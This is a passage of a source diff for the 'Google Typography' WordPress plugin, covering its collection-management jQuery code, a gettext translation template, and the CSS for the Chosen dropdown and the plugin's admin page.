container.find(".loading").fadeOut("normal", function() {
|
||||
container.find(".welcome").fadeIn();
|
||||
});
|
||||
} else {
|
||||
for (var i=0;i<data.collections.length;i++) {
|
||||
new GoogleTypography(container, $(template).appendTo(".collections"), data.collections[i])
|
||||
}
|
||||
container.find(".loading").fadeOut("normal", function() {
|
||||
container.find(".collections").fadeIn();
|
||||
});
|
||||
}
|
||||
$(".collections").sortable({
|
||||
items: '.collection',
|
||||
containment: ".wrap"
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// Add a new collection
|
||||
container.find(".new_collection").on("click", function() {
|
||||
new GoogleTypography(container, $(template).prependTo(".collections"));
|
||||
container.find(".collections").show();
|
||||
container.find(".collections .collection:first .preview_text").focus();
|
||||
container.find(".welcome").hide();
|
||||
});
|
||||
|
||||
// Reset collections
|
||||
container.find(".reset_collections").on("click", function() {
|
||||
if(confirm("Are you sure you want to revert back to the default collections? Note: You will lose any custom collections you've created.")) {
|
||||
$.ajax({
|
||||
url: ajaxurl,
|
||||
method: 'post',
|
||||
data: { 'action' : 'reset_user_fonts' },
|
||||
success: function(data) {
|
||||
if(data.success == true) {
|
||||
location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
})(jQuery);
|
||||
16
options/google-typography/javascripts/jquery.chosen.js
Normal file
16
options/google-typography/javascripts/jquery.chosen.js
Normal file
File diff suppressed because one or more lines are too long
BIN
options/google-typography/languages/google-typography.mo
Normal file
BIN
options/google-typography/languages/google-typography.mo
Normal file
Binary file not shown.
214
options/google-typography/languages/google-typography.po
Normal file
214
options/google-typography/languages/google-typography.po
Normal file
@@ -0,0 +1,214 @@
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: Google Typography\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2013-05-16 17:03-0800\n"
|
||||
"PO-Revision-Date: 2013-05-16 17:04-0800\n"
|
||||
"Last-Translator: Two2Twelve Themes <info@two2twelve.com>\n"
|
||||
"Language-Team: Eric Alli <hello@ericalli.com>\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=UTF-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
"X-Poedit-KeywordsList: __\n"
|
||||
"X-Poedit-Basepath: .\n"
|
||||
"X-Poedit-Language: English\n"
|
||||
"X-Poedit-Country: USA\n"
|
||||
"X-Poedit-SearchPath-0: .\n"
|
||||
|
||||
#: google-typography.php:103
|
||||
msgid "Adding A Collection"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:104
|
||||
msgid "To add a new font for use on your site. Click the \"Add New\" button on the top left of the page near the \"Google Typography\" title."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:105
|
||||
msgid "Once added, a new font row will appear on the page below. Next you can continue to customize your font (more info in the \"Customizing\" help tab)."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:106
|
||||
msgid "Watch The Video Tutorial →"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:107
|
||||
msgid "Customizing"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:108
|
||||
msgid "Customizing fonts is easy; after adding a new font row you can then customize the following font attributes:"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "Preview Text"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "Used for live previewing your changes. This text does not appear anywhere on your website."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "Font Family"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "The font family to use for this font. Choose from a real-time list of all available Google Fonts."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "Font Variant"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "The variant to use for this font. Note: Each font has it's own variant options."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "Font Size"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "The size you would like this font to be."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "Font Color"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "The color you'd like to use for this font."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
#: google-typography.php:110
|
||||
msgid "CSS Selectors"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:109
|
||||
msgid "The HTML tags or CSS selectors you'd like this font to apply to (more info in the \"CSS Selectors\" help tab). You can specify multiple selectors separated by comma's. Ex: h1, #some_id, .some_class"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:111
|
||||
msgid "CSS Selectors are used to hook your font rows into your actual website. Once you've added, customized, and defined CSS selectors for your fonts, Google Typography will automatically insert all the necessary CSS into your website."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:112
|
||||
msgid "Here are some examples of the selectors you can use:"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:113
|
||||
msgid "IDs"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:113
|
||||
msgid "#selector"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:113
|
||||
msgid "Classes:"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:113
|
||||
msgid ".selector"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:113
|
||||
msgid "HTML Tags"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:113
|
||||
msgid "span"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:114
|
||||
msgid "Example"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:114
|
||||
msgid "#selector span.date"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:142
|
||||
msgid "Settings"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:228
|
||||
msgid "Google Typography"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:229
|
||||
msgid "Loading Your Collections"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:230
|
||||
msgid "Add New"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:231
|
||||
msgid "Type in some text to preview..."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:232
|
||||
msgid "Preview Background Color"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:233
|
||||
msgid "Font family..."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:234
|
||||
msgid "Variant..."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:235
|
||||
msgid "Size..."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:236
|
||||
msgid "CSS Selectors (h1, .some_class)"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:237
|
||||
msgid "Delete"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:238
|
||||
msgid "Save"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:240
|
||||
msgid "Welcome to Google Typography"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:241
|
||||
msgid "Get started in 3 steps. Not easy enough? "
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:241
|
||||
msgid "Watch the video tutorial →"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:242
|
||||
msgid "1. Pick A Font"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:243
|
||||
msgid "Choose from any of the 600+ Google Fonts."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:244
|
||||
msgid "2. Customize It"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:245
|
||||
msgid "Pick a size, variant, color and more."
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:246
|
||||
msgid "3. Attach It"
|
||||
msgstr ""
|
||||
|
||||
#: google-typography.php:247
|
||||
msgid "Attach your font to any CSS selector(s)."
|
||||
msgstr ""
|
||||
|
||||
421
options/google-typography/stylesheets/chosen.css
Normal file
421
options/google-typography/stylesheets/chosen.css
Normal file
@@ -0,0 +1,421 @@
|
||||
/* @group Base */
|
||||
.chzn-container {
|
||||
font-size: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
vertical-align: middle;
|
||||
zoom: 1;
|
||||
*display: inline;
|
||||
}
|
||||
.chzn-container .chzn-drop {
|
||||
background: #fff;
|
||||
border: 1px solid #ccc;
|
||||
border-top: 0;
|
||||
position: absolute;
|
||||
top: 100%;
|
||||
left: -9999px;
|
||||
-webkit-box-shadow: 0 2px 5px rgba(0,0,0,.15);
|
||||
-moz-box-shadow : 0 2px 5px rgba(0,0,0,.15);
|
||||
-o-box-shadow : 0 2px 5px rgba(0,0,0,.15);
|
||||
box-shadow : 0 2px 5px rgba(0,0,0,.15);
|
||||
z-index: 1010;
|
||||
width: 100%;
|
||||
-moz-box-sizing : border-box;
|
||||
-ms-box-sizing : border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
-khtml-box-sizing : border-box;
|
||||
box-sizing : border-box;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.chzn-container.chzn-with-drop .chzn-drop {
|
||||
display: block;
|
||||
left: 0;
|
||||
}
|
||||
|
||||
/* @end */
|
||||
|
||||
/* @group Single Chosen */
|
||||
.chzn-container-single .chzn-single {
|
||||
background-color: #ffffff;
|
||||
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #efefef), color-stop(0.5, white));
|
||||
background-image: -webkit-linear-gradient(center bottom, #efefef 0%, white 50%);
|
||||
background-image: -moz-linear-gradient(center bottom, #efefef 0%, white 50%);
|
||||
background-image: -o-linear-gradient(top, #efefef 0%,#ffffff 50%);
|
||||
background-image: -ms-linear-gradient(top, #efefef 0%,#ffffff 50%);
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#efefef', endColorstr='#ffffff',GradientType=0 );
|
||||
background-image: linear-gradient(top, #efefef 0%,#ffffff 50%);
|
||||
-webkit-border-radius: 2px;
|
||||
-moz-border-radius : 2px;
|
||||
border-radius : 2px;
|
||||
-moz-background-clip : padding;
|
||||
-webkit-background-clip: padding-box;
|
||||
background-clip : padding-box;
|
||||
border: 1px solid #d9d9d9;
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
white-space: nowrap;
|
||||
position: relative;
|
||||
height: 31px;
|
||||
line-height: 31px;
|
||||
padding: 0 0 0 11px;
|
||||
color: #444444;
|
||||
text-decoration: none;
|
||||
}
|
||||
.chzn-container-single .chzn-default {
|
||||
color: #999;
|
||||
}
|
||||
.chzn-container-single .chzn-single span {
|
||||
margin-right: 26px;
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
white-space: nowrap;
|
||||
-o-text-overflow: ellipsis;
|
||||
-ms-text-overflow: ellipsis;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
.chzn-container-single .chzn-single abbr {
|
||||
display: block;
|
||||
position: absolute;
|
||||
right: 26px;
|
||||
top: 6px;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
font-size: 1px;
|
||||
background: url('../images/chosen-sprite.png') -42px 1px no-repeat;
|
||||
}
|
||||
.chzn-container-single .chzn-single abbr:hover {
|
||||
background-position: -42px -10px;
|
||||
}
|
||||
.chzn-container-single.chzn-disabled .chzn-single abbr:hover {
|
||||
background-position: -42px -10px;
|
||||
}
|
||||
.chzn-container-single .chzn-single div {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 0;
|
||||
display: block;
|
||||
height: 100%;
|
||||
width: 18px;
|
||||
}
|
||||
.chzn-container-single .chzn-single div b {
|
||||
background: url('../images/chosen-sprite.png') no-repeat 0px 6px;
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
.chzn-container-single .chzn-search {
|
||||
padding: 3px 4px;
|
||||
position: relative;
|
||||
margin: 0;
|
||||
white-space: nowrap;
|
||||
z-index: 1010;
|
||||
}
|
||||
.chzn-container-single .chzn-search input {
|
||||
background: #fff url('../images/chosen-sprite.png') no-repeat 100% -20px;
|
||||
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -webkit-gradient(linear, 0 0, 0 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff));
|
||||
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, linear-gradient(#eeeeee 1%, #ffffff 15%);
|
||||
margin: 1px 0;
|
||||
padding: 4px 20px 4px 5px;
|
||||
outline: 0;
|
||||
border: 1px solid #aaa;
|
||||
font-family: sans-serif;
|
||||
font-size: 1em;
|
||||
width: 100%;
|
||||
-moz-box-sizing : border-box;
|
||||
-ms-box-sizing : border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
-khtml-box-sizing : border-box;
|
||||
box-sizing : border-box;
|
||||
}
|
||||
.chzn-container-single .chzn-drop {
|
||||
margin-top: -1px;
|
||||
-webkit-border-radius: 0 0 4px 4px;
|
||||
-moz-border-radius : 0 0 4px 4px;
|
||||
border-radius : 0 0 4px 4px;
|
||||
-moz-background-clip : padding;
|
||||
-webkit-background-clip: padding-box;
|
||||
background-clip : padding-box;
|
||||
}
|
||||
.chzn-container-single-nosearch .chzn-search {
|
||||
position: absolute;
|
||||
left: -9999px;
|
||||
}
|
||||
/* @end */
|
||||
|
||||
/* @group Multi Chosen */
|
||||
.chzn-container-multi .chzn-choices {
|
||||
background-color: #fff;
|
||||
background-image: -webkit-gradient(linear, 0 0, 0 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff));
|
||||
background-image: -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background-image: -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background-image: -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background-image: linear-gradient(#eeeeee 1%, #ffffff 15%);
|
||||
border: 1px solid #aaa;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
cursor: text;
|
||||
overflow: hidden;
|
||||
height: auto !important;
|
||||
height: 1%;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
-moz-box-sizing : border-box;
|
||||
-ms-box-sizing : border-box;
|
||||
-webkit-box-sizing: border-box;
|
||||
-khtml-box-sizing : border-box;
|
||||
box-sizing : border-box;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices li {
|
||||
float: left;
|
||||
list-style: none;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-field {
|
||||
white-space: nowrap;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-field input {
|
||||
color: #666;
|
||||
background: transparent !important;
|
||||
border: 0 !important;
|
||||
font-family: sans-serif;
|
||||
font-size: 100%;
|
||||
height: 15px;
|
||||
padding: 5px;
|
||||
margin: 1px 0;
|
||||
outline: 0;
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow : none;
|
||||
box-shadow : none;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-field .default {
|
||||
color: #999;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-choice {
|
||||
-webkit-border-radius: 3px;
|
||||
-moz-border-radius : 3px;
|
||||
border-radius : 3px;
|
||||
-moz-background-clip : padding;
|
||||
-webkit-background-clip: padding-box;
|
||||
background-clip : padding-box;
|
||||
background-color: #e4e4e4;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f4f4', endColorstr='#eeeeee', GradientType=0 );
|
||||
background-image: -webkit-gradient(linear, 0 0, 0 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eeeeee));
|
||||
background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: -o-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: linear-gradient(#f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
-webkit-box-shadow: 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05);
|
||||
-moz-box-shadow : 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05);
|
||||
box-shadow : 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05);
|
||||
color: #333;
|
||||
border: 1px solid #aaaaaa;
|
||||
line-height: 13px;
|
||||
padding: 3px 20px 3px 5px;
|
||||
margin: 3px 0 3px 5px;
|
||||
position: relative;
|
||||
cursor: default;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-choice.search-choice-disabled {
|
||||
background-color: #e4e4e4;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f4f4', endColorstr='#eeeeee', GradientType=0 );
|
||||
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eeeeee));
|
||||
background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: -o-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: -ms-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
background-image: linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
|
||||
color: #666;
|
||||
border: 1px solid #cccccc;
|
||||
padding-right: 5px;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-choice-focus {
|
||||
background: #d4d4d4;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-choice .search-choice-close {
|
||||
display: block;
|
||||
position: absolute;
|
||||
right: 3px;
|
||||
top: 4px;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
font-size: 1px;
|
||||
background: url('../images/chosen-sprite.png') -42px 1px no-repeat;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-choice .search-choice-close:hover {
|
||||
background-position: -42px -10px;
|
||||
}
|
||||
.chzn-container-multi .chzn-choices .search-choice-focus .search-choice-close {
|
||||
background-position: -42px -10px;
|
||||
}
|
||||
/* @end */
|
||||
|
||||
/* @group Results */
|
||||
.chzn-container .chzn-results {
|
||||
margin: 0 4px 4px 0;
|
||||
max-height: 240px;
|
||||
padding: 0 0 0 4px;
|
||||
position: relative;
|
||||
overflow-x: hidden;
|
||||
overflow-y: auto;
|
||||
-webkit-overflow-scrolling: touch;
|
||||
}
|
||||
.chzn-container-multi .chzn-results {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
.chzn-container .chzn-results li {
|
||||
display: none;
|
||||
line-height: 15px;
|
||||
padding: 5px 6px;
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
}
|
||||
.chzn-container .chzn-results .active-result {
|
||||
cursor: pointer;
|
||||
display: list-item;
|
||||
}
|
||||
.chzn-container .chzn-results .highlighted {
|
||||
background-color: #3875d7;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3875d7', endColorstr='#2a62bc', GradientType=0 );
|
||||
background-image: -webkit-gradient(linear, 0 0, 0 100%, color-stop(20%, #3875d7), color-stop(90%, #2a62bc));
|
||||
background-image: -webkit-linear-gradient(top, #3875d7 20%, #2a62bc 90%);
|
||||
background-image: -moz-linear-gradient(top, #3875d7 20%, #2a62bc 90%);
|
||||
background-image: -o-linear-gradient(top, #3875d7 20%, #2a62bc 90%);
|
||||
background-image: linear-gradient(#3875d7 20%, #2a62bc 90%);
|
||||
color: #fff;
|
||||
}
|
||||
.chzn-container .chzn-results li em {
|
||||
background: #feffde;
|
||||
font-style: normal;
|
||||
}
|
||||
.chzn-container .chzn-results .highlighted em {
|
||||
background: transparent;
|
||||
}
|
||||
.chzn-container .chzn-results .no-results {
|
||||
background: #f4f4f4;
|
||||
display: list-item;
|
||||
}
|
||||
.chzn-container .chzn-results .group-result {
|
||||
cursor: default;
|
||||
color: #999;
|
||||
font-weight: bold;
|
||||
}
|
||||
.chzn-container .chzn-results .group-option {
|
||||
padding-left: 15px;
|
||||
}
|
||||
.chzn-container-multi .chzn-drop .result-selected {
|
||||
display: none;
|
||||
}
|
||||
.chzn-container .chzn-results-scroll {
|
||||
background: white;
|
||||
margin: 0 4px;
|
||||
position: absolute;
|
||||
text-align: center;
|
||||
width: 321px; /* This should by dynamic with js */
|
||||
z-index: 1;
|
||||
}
|
||||
.chzn-container .chzn-results-scroll span {
|
||||
display: inline-block;
|
||||
height: 17px;
|
||||
text-indent: -5000px;
|
||||
width: 9px;
|
||||
}
|
||||
.chzn-container .chzn-results-scroll-down {
|
||||
bottom: 0;
|
||||
}
|
||||
.chzn-container .chzn-results-scroll-down span {
|
||||
background: url('../images/chosen-sprite.png') no-repeat -4px -3px;
|
||||
}
|
||||
.chzn-container .chzn-results-scroll-up span {
|
||||
background: url('../images/chosen-sprite.png') no-repeat -22px -3px;
|
||||
}
|
||||
/* @end */
|
||||
|
||||
/* @group Active */
|
||||
.chzn-container-single.chzn-with-drop a{
|
||||
-webkit-border-bottom-left-radius : 0;
|
||||
-webkit-border-bottom-right-radius: 0;
|
||||
-moz-border-radius-bottomleft : 0;
|
||||
-moz-border-radius-bottomright: 0;
|
||||
border-bottom-left-radius : 0;
|
||||
border-bottom-right-radius: 0;
|
||||
background: #fafafa;
|
||||
}
|
||||
.chzn-container-active.chzn-with-drop .chzn-single div b {
|
||||
background-position: -18px 6px;
|
||||
}
|
||||
.chzn-container-active .chzn-choices {
|
||||
-webkit-box-shadow: 0 0 5px rgba(0,0,0,.3);
|
||||
-moz-box-shadow : 0 0 5px rgba(0,0,0,.3);
|
||||
box-shadow : 0 0 5px rgba(0,0,0,.3);
|
||||
border: 1px solid #5897fb;
|
||||
}
|
||||
.chzn-container-active .chzn-choices .search-field input {
|
||||
color: #111 !important;
|
||||
}
|
||||
/* @end */
|
||||
|
||||
/* @group Disabled Support */
|
||||
.chzn-disabled {
|
||||
cursor: default;
|
||||
opacity:0.5 !important;
|
||||
}
|
||||
.chzn-disabled .chzn-single {
|
||||
cursor: default;
|
||||
}
|
||||
.chzn-disabled .chzn-choices .search-choice .search-choice-close {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/* @group Right to Left */
|
||||
.chzn-rtl { text-align: right; }
|
||||
.chzn-rtl .chzn-single { padding: 0 8px 0 0; overflow: visible; }
|
||||
.chzn-rtl .chzn-single span { margin-left: 26px; margin-right: 0; direction: rtl; }
|
||||
|
||||
.chzn-rtl .chzn-single div { left: 3px; right: auto; }
|
||||
.chzn-rtl .chzn-single abbr {
|
||||
left: 26px;
|
||||
right: auto;
|
||||
}
|
||||
.chzn-rtl .chzn-choices .search-field input { direction: rtl; }
|
||||
.chzn-rtl .chzn-choices li { float: right; }
|
||||
.chzn-rtl .chzn-choices .search-choice { padding: 3px 5px 3px 19px; margin: 3px 5px 3px 0; }
|
||||
.chzn-rtl .chzn-choices .search-choice .search-choice-close { left: 4px; right: auto; }
|
||||
.chzn-rtl .chzn-search { left: 9999px; }
|
||||
.chzn-rtl.chzn-with-drop .chzn-search { left: 0px; }
|
||||
.chzn-rtl .chzn-drop { left: 9999px; }
|
||||
.chzn-rtl.chzn-container-single .chzn-results { margin: 0 0 4px 4px; padding: 0 4px 0 0; }
|
||||
.chzn-rtl .chzn-results .group-option { padding-left: 0; padding-right: 15px; }
|
||||
.chzn-rtl.chzn-container-active.chzn-with-drop .chzn-single div { border-right: none; }
|
||||
.chzn-rtl .chzn-search input {
|
||||
background: #fff url('../images/chosen-sprite.png') no-repeat -30px -20px;
|
||||
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -webkit-gradient(linear, 0 0, 0 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff));
|
||||
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
|
||||
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, linear-gradient(#eeeeee 1%, #ffffff 15%);
|
||||
padding: 4px 5px 4px 20px;
|
||||
direction: rtl;
|
||||
}
|
||||
.chzn-container-single.chzn-rtl .chzn-single div b {
|
||||
background-position: 6px 2px;
|
||||
}
|
||||
.chzn-container-single.chzn-rtl.chzn-with-drop .chzn-single div b {
|
||||
background-position: -12px 2px;
|
||||
}
|
||||
/* @end */
|
||||
|
||||
/* @group Retina compatibility */
|
||||
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi) {
|
||||
.chzn-rtl .chzn-search input, .chzn-container-single .chzn-single abbr, .chzn-container-single .chzn-single div b, .chzn-container-single .chzn-search input, .chzn-container-multi .chzn-choices .search-choice .search-choice-close, .chzn-container .chzn-results-scroll-down span, .chzn-container .chzn-results-scroll-up span {
|
||||
background-image: url('../images/chosen-sprite@2x.png') !important;
|
||||
background-repeat: no-repeat !important;
|
||||
background-size: 52px 37px !important;
|
||||
}
|
||||
}
|
||||
/* @end */
|
||||
244
options/google-typography/stylesheets/google-typography.css
Normal file
244
options/google-typography/stylesheets/google-typography.css
Normal file
@@ -0,0 +1,244 @@
|
||||
div#google_typography { }
|
||||
div#google_typography .help_hint {
|
||||
width: 132px;
|
||||
height: 50px;
|
||||
background: url('../images/help_hint.png') no-repeat;
|
||||
position: absolute;
|
||||
top: -75px;
|
||||
right: 25px;
|
||||
}
|
||||
div#google_typography .welcome {
|
||||
display: none;
|
||||
font-family: 'Lato';
|
||||
text-align: center;
|
||||
margin-top: 60px;
|
||||
position: relative;
|
||||
}
|
||||
div#google_typography .welcome .welcome_title { margin-bottom: 55px; }
|
||||
div#google_typography .welcome .welcome_title h1 {
|
||||
font-size: 40px;
|
||||
color: #666;
|
||||
font-weight: 300;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
div#google_typography .welcome .welcome_title p {
|
||||
font-size: 17px;
|
||||
color: #aaa;
|
||||
font-weight: 300;
|
||||
}
|
||||
div#google_typography .welcome ul.steps {
|
||||
list-style: none;
|
||||
overflow: hidden;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li {
|
||||
float: left;
|
||||
width: 33%;
|
||||
padding-top: 220px;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li h3 {
|
||||
font-size: 22px;
|
||||
font-weight: 400;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li p {
|
||||
font-size: 13px;
|
||||
color: #999;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li.step_1 {
|
||||
background: url('../images/step_1.png') no-repeat top center;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li.step_2 {
|
||||
background: url('../images/step_2.png') no-repeat top center;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li.step_3 {
|
||||
background: url('../images/step_3.png') no-repeat top center;
|
||||
}
|
||||
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi) {
|
||||
div#google_typography .welcome ul.steps li.step_1 {
|
||||
background: url('../images/step_1@2x.png') no-repeat top center;
|
||||
background-size: 210px 210px;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li.step_2 {
|
||||
background: url('../images/step_2@2x.png') no-repeat top center;
|
||||
background-size: 210px 210px;
|
||||
}
|
||||
div#google_typography .welcome ul.steps li.step_3 {
|
||||
background: url('../images/step_3@2x.png') no-repeat top center;
|
||||
background-size: 210px 210px;
|
||||
}
|
||||
}
|
||||
div#google_typography .template { display: none; }
|
||||
div#google_typography .collections {
|
||||
margin-top: 20px;
|
||||
}
|
||||
div#google_typography .collection {
|
||||
border: 1px solid #d9d9d9;
|
||||
-moz-border-radius: 4px;
|
||||
-webkit-border-radius: 4px;
|
||||
border-radius: 4px;
|
||||
background-color: #fff;
|
||||
margin-bottom: 20px;
|
||||
-webkit-transition: box-shadow 0.2s ease-in;
|
||||
-moz-transition: box-shadow 0.2s ease-in;
|
||||
-o-transition: box-shadow 0.2s ease-in;
|
||||
transition: box-shadow 0.2s ease-in;
|
||||
cursor: move;
|
||||
}
|
||||
div#google_typography .collection.current {
|
||||
border: 1px solid #aaa;
|
||||
-moz-box-shadow: 0 0 10px rgba(1,1,1,.25);
|
||||
-webkit-box-shadow: 0 0 10px rgba(1,1,1,.25);
|
||||
box-shadow: 0 0 10px rgba(1,1,1,.25);
|
||||
}
|
||||
/* Preview */
|
||||
div#google_typography .font_preview {
|
||||
padding: 20px;
|
||||
min-height: 30px;
|
||||
font-size: 32px;
|
||||
position: relative;
|
||||
-webkit-border-radius: 4px 4px 0px 0px;
|
||||
